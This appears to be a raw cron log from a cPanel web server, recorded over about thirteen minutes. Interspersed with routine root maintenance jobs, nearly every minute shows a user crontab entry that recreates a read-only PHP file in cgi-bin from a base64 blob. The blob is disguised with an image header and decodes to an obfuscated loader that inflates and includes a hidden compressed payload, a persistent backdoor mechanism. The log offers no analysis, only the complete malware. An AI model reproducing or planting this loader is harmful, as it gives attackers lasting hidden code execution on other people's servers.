Nov 11 02:17:01 server CROND[32035]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 02:18:01 server CROND[491]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 02:19:01 server CROND[1329]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 02:20:01 server CROND[2169]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 11 02:20:01 server CROND[2171]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 11 02:20:01 server CROND[2172]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 11 02:20:01 server CROND[2174]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 11 02:20:01 server CROND[2173]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 02:21:01 server CROND[3080]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 02:22:01 server CROND[3901]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 02:23:01 server CROND[4773]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 02:24:01 server CROND[5602]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 02:25:01 server CROND[6426]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 11 02:25:01 server CROND[6428]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 11 02:25:01 server CROND[6432]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 02:25:01 server CROND[6431]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore &gt;/dev/null 2&gt;&amp;1)
Nov 11 02:26:01 server CROND[7317]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 02:27:01 server CROND[8002]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 02:27:01 server CROND[8003]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 11 02:28:01 server CROND[8621]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 02:29:01 server CROND[9392]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 02:30:02 server CROND[10170]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 11 02:30:02 server CROND[10172]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 11 02:30:02 server CROND[10171]: (root) CMD (/usr/lib64/sa/sa1 1 1)
